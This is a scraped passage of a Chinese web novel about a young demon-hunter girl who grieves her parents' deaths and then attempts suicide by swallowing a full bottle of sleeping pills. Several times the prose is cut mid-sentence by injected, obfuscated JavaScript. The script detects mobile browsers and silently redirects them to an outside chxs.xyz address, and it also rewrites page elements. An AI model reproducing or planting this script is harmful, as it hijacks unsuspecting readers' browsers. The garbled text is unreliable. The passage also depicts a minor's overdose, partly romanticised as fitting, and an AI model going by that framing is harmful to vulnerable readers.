西塞莉烦躁地拉开门，看见一头银发的扎克利站在门前。 他的头发似乎有些过于安稳了些，几乎称得上乖顺地垂落下来，叫西塞莉有些看不清他此刻的神情。 外面的天色已经不大亮的，路灯下的街区光线朦胧，她半眯起眼分辨了一会儿，才察觉到此刻外面其实是下着细雨的。 “扎克利？”她下意识埋怨道：“你干嘛按那么多下铃呀，害得我输了游戏……” “西塞莉。” 他打断她。 西塞莉瘪了瘪嘴，觉得因为晚开了几分钟门就生气的大人实在是太糟糕了。 扎克利的头发被雨水打得潮湿下垂，略长的额发垂下，刚好盖住了他的大半眉眼，西塞莉只能看见他被门檐下的灯光映得苍白、甚至惨白的下半脸。 他下颔被咬得很紧，嘴唇也紧紧抿着，西塞莉看见他颊侧那道陈年旧疤似乎在轻微地抖动，仿佛即将被撕裂。 “扎克利……？”她有些茫然地喊道。 “艾维斯……还有卡蜜拉，”他削薄的唇形状优美，上下开合着：“……死掉了。” “……今天下午，南部出现了、一只超S级恶魔。” 他还在继续说着，线条好看的颈部，凸起的喉结随着他的声音一起动作着。 西塞莉却似乎有些听不太懂他在说什么。 ……扎克利这家伙不是很会讲题的么？他不是可以把那些知识点说的简单易懂么？他不是很会说话吗？！不是很擅长组织语言的吗？！！为什么……为什么现在说这些她听不懂的话！！！ “扎克利……？” 她再次茫然而小声地呼唤他的名字，然后突然大声：“你这家伙……到底、在说什么啊……？！” “……” 扎克利半蹲下来，像小时候那样，仰视着她。 这时，西塞莉才终于看清了他的脸，银发下、被檐下灯光映得苍白的脸。 还有他浓绿眼睛里，几近溢出的悲戚。 然后，一切都模糊了…… 她感受到扎克利微凉的手轻轻擦过她的颊，有些麻，有些痒，还有些痛。 ——但却是暖的。 如果两个人同样是冷的，那接触时，更冷的那个人就会感受到温暖。 猎魔人的手总是那么粗糙，她想。 艾维斯是这样……卡蜜拉是这样……扎克利也是这样…… 高强度的训练与战斗给他们身上留下了不可磨灭的痕迹，手上是使用各种武器留下的茧子，实在说不上好看。 “别哭。” 她听见他说。 我才没有哭。 西塞莉想这么反驳，却突然发觉自己的颊上一片冰凉，眼睛也有些微刺痛。 北风刻薄的吹在她的面颊上，带着针尖一样的雨滴，风干了她的泪。西塞莉觉得自己的脸颊似乎被冻僵了，麻木微痛的感觉在其上蔓延。 我果然还是讨厌冬天。 西塞莉想。 27. 殉情 新纪元3687年10月19日，亡灵祭的第二天，这座繁华的城市下起了雨，雨并不算大，这些细如针尖的小雨丝对祭典的热闹并无影响。 消息还未散播开，这个世界上大多数人还不知道维戈大陆南部出现了超S级恶魔，也不知道有两个猎魔人因为这件事死掉了，他们依旧在因为祭典和假日狂欢着，西塞莉甚至能听到风中隐隐传来的嘈杂模糊的声音。 西塞莉轻轻关上窗，隔绝了那些声音，但雨丝打在窗玻璃上的细微声响还是止不住往她耳里钻。 扎克利说，在那场战斗中，艾维斯本来是有八成概率活下来的，但不知道为什么，在急救人员想要进行救助的时候，却发现那本应能够坚持到救助成功的生命体征已经彻底消失了。 “啊。”西塞莉语气轻轻的说：“那时候，卡蜜拉已经死了么？” “……嗯。” 扎克利闷闷的“嗯”了一声。 “她是怎么死的？”她问。 “……她被恶魔咬下了脑袋。”银发男人的声音干涩而沙哑。 “……” 她沉默片刻，轻声：“死在，艾维斯面前了么……？那也难怪……” “……也难怪他不想活了。”她轻声呢喃，用叹息一般语调道。 艾维斯的治愈魔法用得还不错，连带着自愈能力都要比常人好上不少，西塞莉才不信他如果自己想活的话会这么轻松的死掉。 “那个词怎么说来着……？”西塞莉说，声音里居然带着些轻松的笑意，“是叫‘殉情’对吧？” “……” “这真是一个很符合艾维斯风格的死法呢。”她自顾自的说，“我之前从来没有想过他会以怎样的方式死去呢，感觉怎样都怪怪的，觉得那样子实在是难以想象……听到你说是战死的时候还觉得有些不可思议呢，心里想着，艾维斯这家伙怎么可能是那种无私奉献的人啊哈哈哈……” 她突然敛了神色，语气平静：“这么想来，殉情，确实是最适合他们的死法了。” 只不过将她抛下了。 但也让她明白，爱与死是要连在一起的。 —— 雨不出意料的越下越大。 葬礼那天，尤其大。 所有的一切都是扎克利安排的，西塞莉只需要走个流程。 但还是很讨厌。 艾维斯和卡蜜拉的人缘很好，葬礼上人很多，偶尔能看到几张有些面熟的脸孔，但更多的是一些陌生的、从未见过的人，大多数是猎魔人和贵族。但无论是谁，都穿着深色的服装，撑着黑色的伞，雨水在伞面敲击的声音纷纷不断。 周围人来人往，或是怜悯或是哀伤的目光被隐没在伞下和雨中，却依旧被投向她。 恶心死了。 西塞莉想， 她才不需要怜悯。 西塞莉身上穿着一件黑色的连衣裙，紧身打底裤，还有一双黑皮靴，外面是一件黑色长风衣。 在夏天呆得久了，她依旧没有适应这些和夏衣相比要沉重得多的衣料。因为冬天来得太快了，十月明明还没有过去呢，这样的温度，至少也要到十一月末、十二月的时候才可以有的吧？ 雨水和湿冷的空气交织成另一种别样的氛围。 ——潮湿的，阴冷的，压抑而沉郁的。 天空灰沉沉的，像是起了雾，连带着这天幕之下的一切也跟着像被蒙在雾里一样朦朦胧胧看不真切。 西塞莉突然就想到了克里斯。 想到了在两年前的夏天，在斯科特族地里的那场葬礼。 同样是在雨中的那场葬礼。 只不过那时是在夏天，似乎并没有这么冷，也不用穿上这样沉重的厚衣服。 她当时穿了件单薄的黑色露肩连衣裙，站在人群的外围，而黑发男孩被人群簇拥着，隔着被雨洗过的空气，他的发似乎愈发漆黑了。她看到他黑色族服后绣着的三眼砂闪蝶，蝴蝶金属蓝的鳞翅上，颜色鲜艳的眼纹…… 西塞莉想，那时的自己怎么能用那样的去看待那场葬礼啊…… 她想起，那天克里斯似乎有往她的方向看过一眼。 他有看见她吗？他会不会和她一样，觉得周围的人都很恶心？会不会觉得周围的人都很虚伪，明明和死掉的人都不算熟悉，却也要因为一些面子人情之类无关紧要的恶心东西来到这场葬礼，然后擅自用恶心的怜悯目光去打量他…… 西塞莉有些记不清自己有没有用那种目光去看他，毕竟她当时确实对因魔王迁怒而灭族的斯科特一族感到惋惜。 如果她真的那样看过他了的话，他或许也会觉得她恶心吧？但这不是他的错，毕竟那样的眼神确实恶心的要死，就算是她自己露出那样的神色，估计也好看不了哪里去。 下次见面的话……向他道歉吧？ 西塞莉出神的想着事，视线不自觉的盯着人群看。 那些人，有些是他们的朋友，有些是他们的同事，有些是他们的同学，有些是和霍华德家有关的贵族，还有猎魔人公会、法师塔和神庭派出的代表。 一张张或熟悉或陌生的脸出现在她面前，她的视线下意识追着那些熟悉的人走，想要辨认出对方的身份，细雨连绵成薄纱织就的门帘，让她看不真切，模糊而朦胧着，只能看见人影晃动。 若要仔细去看，又只会觉得那人陌生，陌生脸，陌生的神情，让她怀疑刚刚的熟悉感是不是错觉，再去看其他人，却也只觉得陌生，仿佛这些人她从未见过，这些人与她毫无瓜葛。 那这些人又与艾维斯和卡蜜拉有什么联系呢？ 她心情似乎受了这雨天的影响，变得如同饱和度极低的灰沉天幕般烦躁而沉郁，甚至忍不住去想：为什么这些莫名其妙跑到别人葬礼上的家伙们还有力气露出这种恶心人的表情，而那么好的艾维斯和卡蜜拉却要死掉？ 她看到一个穿黑风衣的男人，从风衣的轮廓来看，是佩了枪的。这很正常，职业猎魔人拥有在大多数场合佩戴武器的资格——或者说是义务，代价是在遇见恶魔的时候需要毫不犹豫的冲上去。 但西塞莉却觉得自己的心情愈发糟糕了。 明明大家都是猎魔人，为什么我的家人要死掉？为什么他们还活着，而我的家人却要死掉？！ 她甚至恶毒的想：等以后我厉害了，一定要把这些人全部杀掉，让他们给艾维斯和卡蜜拉陪葬。 但很快她就意识到自己在想什么，被自己的这个想法惊了一跳：天啊！西塞莉！你在想什么？这真的是可以想的事吗？！你可是预言中的救世主！怎么可以有这样邪恶的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时半会想不起来某个具体的名字，这难道是留给她的位置……？不过最值钱的恶棍组织肯定是那个屠了斯科特全族的‘鸟巢’了，话说邪恶组织为什么起这么……呃、独特的名字啊，一点也没有反派气质，你们组织老大是取名废吗？ 他们是这么变得这么值钱的呢？啊，是因为屠到斯科特全族只剩一个克里斯。为什么要屠斯科特？因为这是魔王的复仇…… 对了！魔王！ ——这个世界上，最大、最出名的‘恶棍’，是魔王呀！ 她难道，以后要成为魔王……？ 也有可能，毕竟现任魔王这么坏，差点掀起第三次人魔大战，还屠了克里斯全族，魔王让这种家伙当还不如换她来！ 她肯定会是更合格的魔王！ ——不不不！ 这么就歪到当魔王上了，她最开始想的是什么来着……？ 啊对了！是不能随便杀人！ 这种行为是不对的，身为猎魔人预备役，她应该保护人类、保护世界才对！ 话说她都已经想到了去当魔王了啊……她当了魔王不是可以让世界更美好吗……？ 不可以！邪恶想法退退退！ 还是干掉魔王成为勇者这个愿望听上去比较正义炫酷富有主角气息一些…… 28. 玫瑰之棘 葬礼结束后，西塞莉并没有回学校，学校里教的东西对于她来说都很简单，似乎也没什么必须要去的理由，于是就拜托扎克利帮她请了假。 丹尼尔他们曾经来找过她，但都被打发走了，她的心情实在说不上不好，而且还很容易迁怒别人，现在还是比较适合一个人待着，免得破坏了他们之间的友情。 家里的佣人都被放了假，霍华德家的别墅里只有她一个人，很安静。 西塞莉躺在床上，柔软的被褥包裹着她，像是陷进面团的手指，她小时候经常这样跑到厨房捣乱，这时卡蜜拉就会喊在客厅打游戏的艾维斯进来将她带出去。 比起猎杀恶魔，卡蜜拉似乎更喜欢甜品烹饪，啊，她也很喜欢写作。她说，比起猎杀，她更喜欢去创造。无论是一盘巧克力曲奇还是一本未出版的小说，亦或者…… “西塞莉是妈妈最喜欢的造物呢。” 亦或者是她。 似乎是某个睡前故事结束后所说的话，她似乎依旧能够记得清她被浸在浅橘色小夜灯中，神色柔和的模样。 雨不断击打着窗玻璃。 她沉默的盯着天花板上的吊灯发呆，华丽精致的枝形吊灯，坠着的剔透水晶折射着光，像是对着日光的玻璃珠。 艾维斯经常帮她去取波子汽水里的玻璃珠，那些玻璃珠被她装到瓶子里，瓶子被堆放在壁橱里，新一瓶的玻璃珠才被装了不到一半，被放在床头柜上，只要她一扭头就可以看到。 但西塞莉并没有动作，因为‘扭头看床头柜上装玻璃珠的瓶子’对现在的她来说，并不是一个必要的举动。 或许以后她不需要艾维斯的取玻璃珠服务了，毕竟她研究出了专门取玻璃珠的魔法，也已经完全掌握了无杖魔法，艾维斯那种直接切断瓶口的粗暴方式还是不够优雅。 嗯，艾维斯以后也不会再帮她取玻璃珠了。 卡蜜拉也不会再做曲奇给她吃了。 毕竟，都已经不在了。 …… 深夜，西塞莉从雪白的被褥间爬了出来。 她感到自己的身体很沉重，像是那被褥真的是一块湿软的面团，在她爬起来的时候拉着黏稠的丝挽留。 但很很可惜，面团脆弱而柔软的，只要稍一施力就会断裂挣脱。 西塞莉意识到自己在发烧。 她在迷蒙中睁开眼，感到世界似乎变了颜色。 ——这是一种很奇特的感觉，她清晰的知道世界不是这样的，她知道墙纸的颜色，地毯上的花纹，挂毯上的刺绣，书架上漫画摆放的位置，室内熏香的气味，雨水击打窗户的声音，挂钟指针行走时发出的“滴答”声响，她知道这栋别墅里的、属于她的世界的一切。 但这个本应被她熟知的世界，此刻却在扭曲变形。 西塞莉慢吞吞的眨了眨眼，发现那一切全都是自己的错觉： 墙纸依旧是甜蜜的奶油色，让她想起来了月初她和丹尼尔他们去的那家甜品店，他们家的栗子蛋糕很好吃； 挂毯上的刺绣依旧是那只蓝色的机械蝴蝶——那是她最喜欢的游戏角色翠丝特的代表物； 书架上的漫画最显眼的依旧是那几排连着的《第一魔法纪实录》，还能看到朝向这边的封面上红发男主和银发女主贴在一起的模样，西塞莉还记得两人脸上洋溢着的欢欣神情； 室内熏香依旧是浅浅弥漫着的莲花的香气——大概还掺杂着橙花或乳香？亦或者是一些其他什么，但她对香料领域并无涉猎，只能辨认出这么几种，要是艾维斯在就好了，虽然他平时看着大大咧咧，但对家里的一切都相当熟悉，而且他是系统学习过贵族知识的，辨认香料什么的他大概也是会的…… 雨水依旧击打窗玻璃的声音小了很多，估计很快就要停了，钟表指针行走时发出“滴答”的声响…… 但那些东西似乎与她隔了一层壁，听不真切，也看不分明。 她静静在床边坐了片刻，那种隔膜感依旧没有消失，而且还有在这过于孤寂的空气中愈演愈烈的趋势，同时愈演愈烈的还有她头部的晕眩与疼痛，站起来时甚至趔趄了一下，头部的钝痛更厉害了。 她的第一反应是叫扎克利。 但手才刚触碰到座机电话，在感受到金属握柄表面冰凉的磨砂质感时又被猛得收回。 ……这种一出事就叫大人的习惯是什么时候养成的？ 不大记得了，因为好像从记事起就这样了。 但明年初夏，她就十四岁了，还差两年就到加兰的法定成年标准和结婚年龄了，然后就可以工作结婚了，五大陆上大半的人都是这样，在初级学院（5年）和中级学院（4年）毕业后工作结婚、组建家庭，成长为一名合格成年人。 她低头看了看自己抽回的手——纤瘦、柔软、白皙，指腹与掌心几乎看不到茧子，指尖泛着健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505014|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康的淡粉，单薄的皮肉下是青蓝的血管——这无疑是一双很漂亮的手，看上去就是一位用丝绸金玉堆砌的、贵族小姐的手。 但唯独不像一名猎魔人的手。 猎魔人的手，是怎样的？ 她想起了艾维斯从她手中接过汽水瓶的那只手；想起卡蜜拉把她的手从面团里扯出来的那只手；想起扎克利为她拭去颊边眼泪的那只手；甚至想起了克里斯，他指导她招式时，手掌贴着她腕骨的微妙触感。 猎魔人的手，指腹与掌心有使用武器留下的茧，指节因击打训练的磨损变得宽大，有暗器投掷失误而留下的伤痕…… 猎魔人的手，是宽厚的，粗糙的，温暖的，干燥的。 唯独不是她这样的。 所以她这是被养废了吗？！ ……说不定，艾维斯他们根本没有让她当猎魔人的想法，只是当这是她的一场新游戏，而“Game Over”出现在她失去兴趣的那一刻。 而等那时，她就回来继续当她的贵族小姐，她的手、她的皮肤，与那些被保护在温室里的玫瑰花似的贵族小姐们没有任何区别，可以完美融入其中，还学了一身足够自保的本身……怎么看，都很不错啊。 到时候，和喜欢的人结婚，再生个漂亮的小孩，怎么看，都是相当完美的一生。 说不定他们就是这么想的，他们想这样保护她一辈子。 那样的人生其实也不能说是错的、是要次一等的，因为西塞莉确实一直都是三分钟热度，在此之前，她还学过不下十种乐器和一些其他的，诸如绘画、舞蹈质量的东西，但都没能坚持多久——因为她是一个天才。 天才就是学什么都没意思，因为对于西塞莉这个等级的天才来说，所有的一切都可以一眼看透，没有困难没有挫折，便也失去了动力。 而在这场名为‘猎魔人模拟器’的游戏中，如果她没有遇到克里斯这个旗鼓相当的对手的话，如果她的‘保护者’还在人世的话，说不定真的会以那样的方式达成“Game Over”，然后开启新副本。 玫瑰的刺只是看着耀武扬威，但甚至用不上魔法，只用一点小技巧就能将其拔除，根本保护不了自己，只不过是一种脆弱的叛逆罢了。 弱不禁风的花儿，似乎是要被关在玻璃罩里保护的。 但保护它的玻璃也是很脆弱的呀，一颗坚硬些的石子就能将它击碎呢。 29.疤 夜色沉沉，风声寂寂。 扎克利静静地坐在房间里。 他沉默的盯着柜子上摆放的照片看，玻璃相框在寂静的灯光下反射着光，那光照进他眼里，让画面模糊地映入他的视网膜。 葬礼结束后，他终于有了休息的时间，公会给他放了假。 ——这假着实有些名不正言不顺的，毕竟艾维斯早在几年前就不是他的引导者了，就连关系维系期间，他们也并没有组建三人小队，是一支非典型、甚至有些不合规定的猎魔人小队。 ……但可能是因为西塞莉吧。 毕竟他现在是她的临时监护人。 十年前，他的引导者和两名队友死在了恶魔手上，是艾维斯和卡蜜拉刚巧路过捡了他一条命，在队友和引导者死去、且实力未达B级的情况下，他需要被分进其他队伍，填补该队的空缺。 队伍有空缺，说明他们也失去了同伴，而他是在代替对方的位置，这怎么看都叫人难以接受吧？ 让一个说不定根本没见过的人取代同伴的位置什么的，真是恶毒的规定。 然后艾维斯成了他的引导者。 ——以有皇室血统的贵族、高级猎魔人的身份要了个特权。 虽说他并没有做到一个合格的引导者应该做的事（指监督学生在任务中不受伤害和实力训练），一直将他处于放养状态。 但至少让他免于和陌生人一起出任务的境地。 他不知道他们能不能忍受陌生人取代自己的队友，反正他是接受不了让别人代替麦克老师和伊迪斯他们的位置。 而且，虽然是邻居，但扎克利和霍华德夫妇其实并不亲近。 他们常年外出，一边四处旅行一边做任务，在家的时间并不长，直到卡蜜拉怀孕后才增加了在家的时间，但他们的关系依旧不亲近。 宅在家里的卡蜜拉迷上了烹饪，在厨房里进进出出，从烤箱端出一盘盘糊掉的曲奇。 艾维斯对她和肚子里的孩子大惊小怪，生怕哪里出了问题，于是成天黏着她，出个门都要腻歪半天。 谁在乎隔壁是不是住着一个刚上猎魔人学院的小孩？ 即使这个小孩的父亲在半年前因任务去世了，即使这个小孩做饭时经常弄伤自己，即使这个小孩因为厨艺太差把自己吃进了医院、食物中毒还洗了胃……但没人知道，因为除了已经死掉的父亲，没人在意这个小孩。 直到另一个小孩的出现。 她那时很小，特别小，还没人腿高，路都走不大好，说话也不大利索，含含糊糊的很是可爱，但她心大的父母却往她身上套了几件防御类附魔法器就任她到处跑。 她这个年纪的小孩子总是累的很快，没一会儿，小女孩就原地蹲下不动了。 然后就被出门丢垃圾了扎克利捡到了。 “你在这儿做什么？”他问，不是他想问的，而是这小鬼就蹲在他家门口。 “我要吃这个。”没有回答他的问题，女孩用命令的语气说。 她的手指指向半透明垃圾袋外侧透出了的包装，银发少年低头一看，是最近很流行的巧克力棒，采购的时候瞧着眼熟就顺手拿了两袋。 眼睛还挺尖的。 但是…… “没有了。”他实话实说。 因为的确很好吃，所以已经被吃光了。 “那你再去买不就好了。”女孩理所当然的说。 “不行。”他认真回道。 还要写作业呢。 女孩总算将视线从包装袋上移开，然后落到他身上。 “你这家伙，是不是敬酒不吃吃罚酒？”她看上去有些生气，故作凶狠的恐吓道。 居然还会用成语？ 他有些讶异的看向她，女孩努力下压眉毛，眯起圆钝的眼，绷抿着唇，模仿漫画书里的反派角色。 效果很差。 她圆润白皙婴儿肥严重的颊看上去很没有威慑力，像只乱发脾气的小猫，叫嚣着自己是邪恶蒲公英。 怪可爱的。 于是他出人意料的没有直接走开，反而掏了掏口袋，摸出了一块包装很花哨的玻璃纸糖：“这个给你。” 女孩看了看被送到她眼前的糖果在光下折射着绚丽彩光的包装纸，又抬头看了看他：“你看上去真不像随身带糖的人。” “果然人不可貌相。”她又飙出一个成语。 “……你要不要？不要我走了。”他有些不耐烦了。 “要！” 后来，扎克利才知道，她根本不喜欢吃这种香精味很大的廉价糖果，她只是很喜欢它们闪闪发光的包装而已。 好像是以十三岁遇到西塞莉这个事件为节点，扎克利的人生开始充盈。 那个黑发的小女孩经常来找他，久而久之，他与艾维斯他们也熟悉起来，在学校里，他交到了新朋友，毕业后组建一起了猎魔人小队。 ——天知道他以为自己会是那种凑不齐三人填申请表、等学院官方随机的那种人。 随机到的引导者麦克是个很靠谱好人，教给了他们不少东西，那声“老师”他喊的心甘情愿。 伊迪斯很喜欢西塞莉，因为他很喜欢漫画——天知道西塞莉这么小的年纪怎么认识这么多字，又为什么对热血少年漫情有独钟，她这个年纪不应该看儿童绘本吗？ 但好像只有他一个人是这么想的。 麦克老师和另一个同伴沃克很轻易地就接受了‘还没上初级学院的三岁小女孩认识很多字而且还喜欢看少年漫和轻小说’这种有些离谱的设定，乐呵呵的听着小姑娘的描述去研究什么‘会加速的滑板’，把各种乱七八糟的零件拆得满客厅都是…… 满客厅都是…… 都是…… 是…… “……这是我家啊！！”他低吼道。 没人理他，他的同伴和老师假装听不见的继续各忙各的，倒是西塞莉抬头瞥了他一眼，有些不高兴的说：“扎克利，你不能这么说话，ooc了。” 扎克利：“……” 扎克利失语：“什么……？？” 西塞莉用看乡下土包子般的，鄙夷又同情目光看他，解释道：“你崩掉了自己的高冷酷哥人设。这种时候，你应该冷冷的“哼”一声，然后摔门而去，留给我们一个冷酷的背影，让我们自己猜。” 扎克利：“……” 扎克利气极反笑：“我……” 他什么时候有这种人设了？ “哈哈哈哈哈——” 伊迪斯猖狂的笑声打断了他的话：“高冷酷哥哈哈哈哈——我早就想说了，扎克利刚开学那会儿也太装了，一整个大写的生人勿近，吓得人家女孩子连情书都不敢自己送哈哈哈……” 扎克利：“……” 扎克利：“啊……”什么时候的事？ 沃克适时开口：“肯定被他当挑战书丢了吧。” 伊迪斯笑得更大声了：“哈哈哈哈哈——” 扎克利：“……” 扎克利：“你在笑什么？你有收到过谁的情书吗？” 笑声戛然而止。 伊迪斯幽怨的看着他，语气很酸：“不过是长了长好脸……那些女孩只是没有机会了解到我有趣的灵魂罢了……” 银发少年发出极富嘲讽意味的一声“呵”，在对方“你什么意思？！”的破防怒吼和同伴“你不是知道吗，他这人就这样”的劝导声中回了房间。 那可以说是扎克利的一生中，最幸福的时间段。 但那时他并不懂得这个道理，他只知道邻居的小孩嘴很挑的任性小混球，朋友和老师是总把家里弄得乱七八糟的不靠谱的热血笨蛋。 后来，艾维斯成了他的引导者，他似乎被接纳到了一个新的家庭，拥有一对不太靠谱的父母和一个任性娇气的妹妹。 似乎一切都在坏到极致后逐渐变好，但那场让他失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507744|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同伴与老师的战斗还是在他身上留下了不可磨灭的疤。 高等级恶魔的伤害蕴含着其本身流泻出的魔气，造成伤痕难以愈合，如果自身魔力与其属性相克，还有完全消弭的可能性，但很可惜，扎克利从来不是那么幸运的人。 于是，那道疤就被留在了他的身体上——左侧的脸颊上，和他自身白皙的皮肤很有反差，也和端丽的样貌有些相违和。 偶尔，他会觉得那道疤隐隐作痛，但那似乎只是错觉，因为它看上去已经痊愈了，他前几次还曾去医院看过医生，医生说它的确痊愈了，上面已经没有魔气残留了，那只是一道被留下来的、很普通的疤。 也许很多人都有类似的疤，他想。 毕竟恶魔留下的伤总是难以愈合，而治愈系魔法师总是罕见而昂贵。 扎克利平时不怎么照镜子，也不怎么在意自己那张被同伴羡慕的漂亮脸蛋上是不是留了疤。 久而久之，他似乎能够完全忘掉那道疤的存在。 直到某次，他代替有事的艾维斯出席西塞莉的家长会，他并没有进行过这样的任务，难免有些紧张，怕自己打扮的不得体会叫她嫌弃，于是久违的主动去照了镜子。 ——疤。 它的存在是难以被抛之脑后的。 在他以为他能够忽略它的存在的时候，只要一个能反光的物件，他就能清晰的记起，原来这道疤一直都在这样显眼的地方。 只要他打量自己，就同样要审视那道疤。 只要他看见自己，就必要要看见那道疤。 他似乎永远也避不开那道疤。 “疤？不是还挺好看的吗？” 她轻轻抬起他的下巴，细细端详：“有种粗犷又精致的别样美感——说实话，你原来的样子虽然也很好看，但其实稍微有点女气了……” 疤…… 从来没有人评价过他的疤，因为“疤”这种东西代表着受伤，而评价他人的伤口是无礼而逾越的。 他想，疤也可以是好看的吗？ 然后他又想，即使疤可以是好看的，也不太可能是他的疤，因为他从来不是什么幸运的人。 但西塞莉的话却总是时不时出现在他脑海。 于是他再次去照镜子，去打量自己。 西塞莉的话似乎带着魔力，他居然真的觉得那道疤没有那么刺眼了。 说不定西塞莉有什么言灵术天赋呢，他玩笑般的想。 毕竟她总是给人奇迹般的不真实感。 所以，偶尔他也会看一眼自己，看一眼那道疤，大概是习惯了，他觉得那道疤就算在那儿盘踞一辈子也没什么大不了的，因为它似乎的确是好看的，西塞莉的眼光一向不错。 但那道疤又开始疼了。 似乎有什么想要将它重新撕裂，剧烈的痛苦让他想要伏地哀嚎。 ……但不行，他已经是一个成年人了，是靠谱的大人，如果连他都在痛苦地哭泣，西塞莉又要怎么办呢？ 她还那么小……还没有从学校毕业……还没有成年…… 她要怎么办呀。 但西塞莉似乎总是这样，她的情绪来得快而猛烈，像一阵突起的风，起来时将世界刮得天崩地裂，像是即将降临的末世，但退得也快，除了刚开始几天显得过于消沉，现在已经开始慢慢回到原先的频率了。 想来，在这个学期结束前应该可以回到原样吧？ 但他的想法还是有些太天真了。 他的疤经年未愈，在他一次又一次以为它已经痊愈的时候却又开始作痛。 他怎么能理所当然的认为别人会比他幸运那么多呢？ ＊ 10月31日的清晨，阳光很好，雨后的空气凉而清，几乎叫人误以为还在夏天，但低温和安静的没有鸟鸣声的窗外还是告诉他，夏天早已过去，现在是来得过于早了的冬。 扎克利就在这个清晨发现了自.杀的西塞莉。 30.记一次○○未遂 生病的话，是需要吃药的吧？ 虽然西塞莉因为被照顾得很好所以并不常生病，但凭借仅有的几次经验和在各种书籍上的了解，她还是懂这种尝识的。 所以，只需要吃药就可以了吧？ ……虽然还有其他途径，比如打针什么的。但一是她对把金属空心细针塞进血管这种行为有些抵触，二是家庭医生和那些佣人一样被她放了假，这种任务她觉得自己一个人是完成不了的。 而且，除了一些常用药，她对其他药物都不太了解——她又不是医生，也不是医疗型的猎魔人。 但好在她清晰的从身体的症状上知道自己是普通发烧，而不是一些别的、需要呼叫大人（指扎克利）的病症。 发烧的话，吃退烧药就好了。 西塞莉并没有开灯，她并不想尝试那种在黑暗中骤然亮灯时眼花头晕脚下发软的感觉。她现在的头已经够疼够晕了。 等打开门，西塞莉才发觉走廊里其实并不像她想象中那么昏暗无光，冷白的月光从窗户照进来，大理石地板上被投下接近银白的倒影，甚至能看清墙纸上的花纹。 蔷薇的花期和大多数花一样，通常在春夏两季，但西塞莉家的蔷薇用的是昂贵的魔法土，花期要更长些，开得也更盛。 她忍不住往窗外看了一眼，果然看到花园里大片的白蔷薇在月光下呈现出凄清而冷凉的色彩，几乎像是用白银雕刻制成的。 这种奇异的银白几乎叫她立刻联想到了观星塔主人奥维亚老婆婆和她的继承人——那个叫克洛托的白发少年，他们的头发给人的感觉就和月光下的白蔷薇很像。 不知道是不是错觉，西塞莉总感觉自己映在玻璃窗上的半透明影子，眼睛似乎正散发着盈盈的绿光…… 但眨了眨眼，那点玻璃上的绿便又消失不见了，像是又一场错觉。 果然是被烧坏脑子了吧…… 她有些忧心忡忡的想。 于是放弃欣赏月下蔷薇，决定快点解决吃药这项任务。 药房里光线很暗，空气里药味混着消毒水味——西塞莉很不喜欢这种味道，这也是她不喜欢进医院之类的地方的原因。 她还是不太想开灯，一想到开灯后会感受到的那种眼前一晕的感觉就不禁皱起眉头。 于是她退而求其次，走到窗边“唰”的一声来开了厚重的窗帘。温和的月光顿时拥了上来，那片像是银雕又像是雪砌的白蔷薇就又映上了她的视网膜。 月光下，各式药品琳琅满目的摆放在药柜里，几乎市面上所有的药品都能在这里见到。 西塞莉静静的站了一会儿，发现自己并不知道退烧药放在哪里。 西塞莉：“……” 她站在原地不大想动弹，因为感觉从这群药里精确的找到退烧药会花费很长时间。 不想动。 她目光随意一扫，看见离自己最近的柜子里有些眼熟的包装盒——当然不是退烧药，她还没那么幸运。 修普诺斯，上纪元某神话中的睡神，这款强效安眠药以祂的名字命名。 西塞莉记起自己曾经看过一本很暗黑小说，主角就是靠它自.杀的。 “睡神是死神的兄弟。”临死前，主人公这么说道。 西塞莉又突然想起来一年级时他们班的学园祭表演里也有这样一句台词，是小燕子临死前说的。 她又想起曾经不知道在哪里看到过一句话，说睡眠是死亡的小样。 她想，她可从来不用小样。 /// 再次醒来的时候，她还是维持在闭眼前的样子，连搭在胸前的手都没被移动过。 见此，西塞莉不禁有些郁闷：就算自.杀未遂也应该在醒来的时候躺在医院病房、一睁眼就是陌生而雪白的天花板吧？还在家里算怎么一回事？！ 她可是吞了一整瓶修普诺斯诶！！怎么就跟普通的睡了一觉似的？！又没有过期！！ 难道里面被替换成维生素片了……？ 不是，谁那么闲啊！！！ “你醒了。”她听到一道熟悉的声音，是扎克利。 他的声音沙哑而疲惫：“你已经睡了十三天了。” 西塞莉顺着声音扭头，看见他坐在她床前的椅子上，垂落的银发下暗绿的眼珠静静地望着她，眼白上有明显的血丝，眼下一片青黑。 她静静与他对视了片刻，才意识到扎克利说了什么——她已经睡了十三天了。 十三……天？ 那他为什么没有把她送到医院去？她可是吞了一整瓶修普诺斯啊，这样干看着是扎克利的风格吗？ooc了吧？ 她向来不屑于掩藏自身情绪，想法全都写在脸上。 银发男人睫毛颤了颤，轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 